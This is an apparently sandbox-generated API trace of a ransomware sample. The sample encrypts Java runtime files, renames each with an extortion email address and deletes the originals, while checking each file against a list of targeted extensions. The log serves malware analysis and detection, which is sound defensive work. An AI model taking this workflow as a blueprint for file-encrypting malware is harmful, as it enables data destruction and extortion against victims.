	[0086.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.213] GetLastError () returned 0x0
	[0086.213] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1f440, lpOverlapped=0x0) returned 1
	[0086.217] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1f450, lpOverlapped=0x0) returned 1
	[0086.219] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.219] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0086.220] SetEndOfFile (hFile=0x328) returned 1
	[0086.220] CloseHandle (hObject=0x328) returned 1
	[0086.220] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.220] SetEndOfFile (hFile=0x36c) returned 1
	[0086.221] CloseHandle (hObject=0x36c) returned 1
	[0086.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.221] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1
	[0086.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.222] lstrlenW (lpString=".doc") returned 4
	[0086.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString=".docx") returned 5
	[0086.222] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0086.222] lstrlenW (lpString=".pdf") returned 4
	[0086.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString=".xls") returned 4
	[0086.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString=".xlsx") returned 5
	[0086.222] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0086.222] lstrlenW (lpString=".ppt") returned 4
	[0086.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.222] lstrlenW (lpString=".zip") returned 4
	[0086.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString=".rar") returned 4
	[0086.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.222] lstrlenW (lpString=".bz2") returned 4
	[0086.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.222] lstrlenW (lpString=".7z") returned 3
	[0086.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.222] lstrlenW (lpString=".dbf") returned 4
	[0086.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.222] lstrlenW (lpString=".1cd") returned 4
	[0086.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString=".jpg") returned 4
	[0086.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString=".doc") returned 4
	[0086.223] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString=".docx") returned 5
	[0086.223] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0086.223] lstrlenW (lpString=".pdf") returned 4
	[0086.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString=".xls") returned 4
	[0086.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString=".xlsx") returned 5
	[0086.223] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0086.223] lstrlenW (lpString=".ppt") returned 4
	[0086.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString=".zip") returned 4
	[0086.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString=".rar") returned 4
	[0086.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.223] lstrlenW (lpString=".bz2") returned 4
	[0086.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.223] lstrlenW (lpString=".7z") returned 3
	[0086.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString=".dbf") returned 4
	[0086.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.223] lstrlenW (lpString=".1cd") returned 4
	[0086.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0086.224] lstrlenW (lpString=".jpg") returned 4
	[0086.224] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.224] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0086.224] lstrlenW (lpString="javaw.exe") returned 9
	[0086.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.224] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=206912) returned 1
	[0086.224] CloseHandle (hObject=0x36c) returned 1
	[0086.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20
	[0086.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.224] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.224] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.225] GetLastError () returned 0x0
	[0086.225] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x32840, lpOverlapped=0x0) returned 1
	[0086.231] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x32850, lpOverlapped=0x0) returned 1
	[0086.234] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.234] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0086.235] SetEndOfFile (hFile=0x328) returned 1
	[0086.235] CloseHandle (hObject=0x328) returned 1
	[0086.235] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.235] SetEndOfFile (hFile=0x36c) returned 1
	[0086.237] CloseHandle (hObject=0x36c) returned 1
	[0086.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.237] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.237] lstrlenW (lpString=".doc") returned 4
	[0086.237] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.237] lstrlenW (lpString=".docx") returned 5
	[0086.237] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1
	[0086.237] lstrlenW (lpString=".pdf") returned 4
	[0086.237] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString=".xls") returned 4
	[0086.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString=".xlsx") returned 5
	[0086.238] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1
	[0086.238] lstrlenW (lpString=".ppt") returned 4
	[0086.238] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString=".zip") returned 4
	[0086.238] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString=".rar") returned 4
	[0086.238] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString=".bz2") returned 4
	[0086.238] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.238] lstrlenW (lpString=".7z") returned 3
	[0086.238] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString=".dbf") returned 4
	[0086.238] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString=".1cd") returned 4
	[0086.238] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString=".jpg") returned 4
	[0086.238] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.238] lstrlenW (lpString=".doc") returned 4
	[0086.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.238] lstrlenW (lpString=".docx") returned 5
	[0086.238] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1
	[0086.238] lstrlenW (lpString=".pdf") returned 4
	[0086.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.238] lstrlenW (lpString=".xls") returned 4
	[0086.239] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.239] lstrlenW (lpString=".xlsx") returned 5
	[0086.239] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1
	[0086.239] lstrlenW (lpString=".ppt") returned 4
	[0086.239] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.239] lstrlenW (lpString=".zip") returned 4
	[0086.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.239] lstrlenW (lpString=".rar") returned 4
	[0086.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.239] lstrlenW (lpString=".bz2") returned 4
	[0086.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.239] lstrlenW (lpString=".7z") returned 3
	[0086.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.239] lstrlenW (lpString=".dbf") returned 4
	[0086.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.239] lstrlenW (lpString=".1cd") returned 4
	[0086.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0086.239] lstrlenW (lpString=".jpg") returned 4
	[0086.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.239] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0086.239] lstrlenW (lpString="javaws.exe") returned 10
	[0086.239] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.240] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=319552) returned 1
	[0086.240] CloseHandle (hObject=0x36c) returned 1
	[0086.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20
	[0086.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.240] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.241] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.241] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.241] GetLastError () returned 0x0
	[0086.241] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4e040, lpOverlapped=0x0) returned 1
	[0086.456] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4e050, lpOverlapped=0x0) returned 1
	[0086.462] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.462] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0086.462] SetEndOfFile (hFile=0x328) returned 1
	[0086.462] CloseHandle (hObject=0x328) returned 1
	[0086.462] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.462] SetEndOfFile (hFile=0x36c) returned 1
	[0086.466] CloseHandle (hObject=0x36c) returned 1
	[0086.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.070] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1
	[0087.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.082] lstrlenW (lpString=".doc") returned 4
	[0087.082] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.082] lstrlenW (lpString=".docx") returned 5
	[0087.082] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0087.082] lstrlenW (lpString=".pdf") returned 4
	[0087.082] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.082] lstrlenW (lpString=".xls") returned 4
	[0087.082] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.082] lstrlenW (lpString=".xlsx") returned 5
	[0087.083] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0087.083] lstrlenW (lpString=".ppt") returned 4
	[0087.083] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.083] lstrlenW (lpString=".zip") returned 4
	[0087.107] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.107] lstrlenW (lpString=".rar") returned 4
	[0087.107] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.107] lstrlenW (lpString=".bz2") returned 4
	[0087.107] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.107] lstrlenW (lpString=".7z") returned 3
	[0087.107] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.107] lstrlenW (lpString=".dbf") returned 4
	[0087.107] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.107] lstrlenW (lpString=".1cd") returned 4
	[0087.107] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.107] lstrlenW (lpString=".jpg") returned 4
	[0087.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString=".doc") returned 4
	[0087.108] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.108] lstrlenW (lpString=".docx") returned 5
	[0087.108] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0087.108] lstrlenW (lpString=".pdf") returned 4
	[0087.108] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.108] lstrlenW (lpString=".xls") returned 4
	[0087.108] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.108] lstrlenW (lpString=".xlsx") returned 5
	[0087.108] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0087.108] lstrlenW (lpString=".ppt") returned 4
	[0087.108] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString=".zip") returned 4
	[0087.108] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.108] lstrlenW (lpString=".rar") returned 4
	[0087.108] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.108] lstrlenW (lpString=".bz2") returned 4
	[0087.108] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.108] lstrlenW (lpString=".7z") returned 3
	[0087.108] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString=".dbf") returned 4
	[0087.108] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString=".1cd") returned 4
	[0087.108] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0087.108] lstrlenW (lpString=".jpg") returned 4
	[0087.108] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.109] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.109] lstrlenW (lpString="jp2launcher.exe") returned 15
	[0087.109] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.109] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=112192) returned 1
	[0087.109] CloseHandle (hObject=0x388) returned 1
	[0087.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20
	[0087.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.110] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.110] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.110] GetLastError () returned 0x0
	[0087.110] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1b640, lpOverlapped=0x0) returned 1
	[0087.114] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1b650, lpOverlapped=0x0) returned 1
	[0087.117] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
